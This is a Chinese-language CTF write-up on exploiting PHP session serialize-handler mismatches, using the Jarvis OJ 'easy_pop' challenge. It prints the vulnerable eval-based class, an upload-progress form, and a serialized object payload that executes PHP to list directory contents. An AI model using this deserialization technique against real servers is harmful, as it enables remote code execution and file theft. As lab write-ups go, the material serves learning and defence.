phpsession反序列化选择器漏洞造成命令执行

it2025-04-02  5

PHP三种session序列化选择器

​ 首先了解下php session的三种存储方式,php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

在php.ini中存在三项配置项:

session.save_path=""–设置session的存储路径session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

php储存session的三种方式:

选择器存储格式样例 $_SESSION[‘name’] = ‘ocean’;php_serialize经过serialize()函数序列化数组a:1:{s:4:“name”;s:5:“ocean”;}php键名 竖线 经过serialize()函数处理的值name|s:5:“ocean”;php_binary键名的长度对应的ascii字符 键名 serialize()函数序列化的值 name s:6:“spoock”;

注:ASCII的值为4的字符(EOT)无法在网页上面显示,故显示为

实例

http://web.jarvisoj.com:32780/index.phps

easy_pop

<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>

url 中输入 ?phpinfo 可以看到 phpinfo 的信息中有几个关键点

当前的 php 版本

当前的网站路径

以及有关 session 的信息

其中 session,upload_progress.enables 为on,开启状态

sesson.upload_progress.name 的值

当前 session 选择器为 php,而默认为 php_serialize

接下来对题目进行分析

ini_set('session.serialize_handler', 'php'); #选择 session 序列化处理器。

​ 要注意的是在 php 5.5.4 以前默认选择的是 php,5.5.4 之后就是 php_serialize,这里面是 php 版本为 5.6.21,所以选择器默认为 php_serialize,同时意识到在 index 界面的时候,设置选择的是 php(即 ini_set(‘session.serialize_handler’, ‘php’)),设置的session序列化选择器与默认的不同因此可能会造成漏洞,存储时按照php_serialize,读取时按php session选择器读取

eval($this->mdzz);

​ 在题目代码中,能利用的点就是这个 eval 函数,但没有某个值是用来接受我们传入的数据,储存到SESSION中的。其实我们是有办法传入‘SESSION‘数据的,session.upload_progress.enabled 为 On。当一个上传在处理中,同时 POST 一个与 INI 中设置的 session.upload_progress.name 同名变量时,当 PHP 检测到这种 POST 请求时,它会在$SESSION 中添加一组数据,即就可以将 filename 的值赋值到 session 中。所以可以通过 Session Upload Progress 来设置 session

​ 通俗的说就是请求时加上与session.upload_progress.name同名的变量时就会在$SESSION中加上一组新的数据

​ 我们需要构造一个上传和 post 同时进行的情况,接下来我们构造一个上传表单,把下面代码保存为 test.html

<form action="http://xxxxxxxxx.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>

文件再上传的过程中因为 session.upload_progress.enables 为 on,会把文件名保存到 session 文件中,而 index.php 第二行

session_start();

在这个过程中会对 session 文件进行反序列化操作,从而触发反序列化漏洞

先生成 payload

<?php class OowoO { public $mdzz='print_r(scandir(dirname(__FILE__)));'; } $obj = new OowoO(); echo serialize($obj); ?> #序列化结果 O:5:"OowoO":1{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";} #为防止转义,在引号前加上反斜杠\ |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} #前面有一个|,这是 session 的格式

知道了 flag 的位置,接下来就是去读取这个文件

最新回复(0)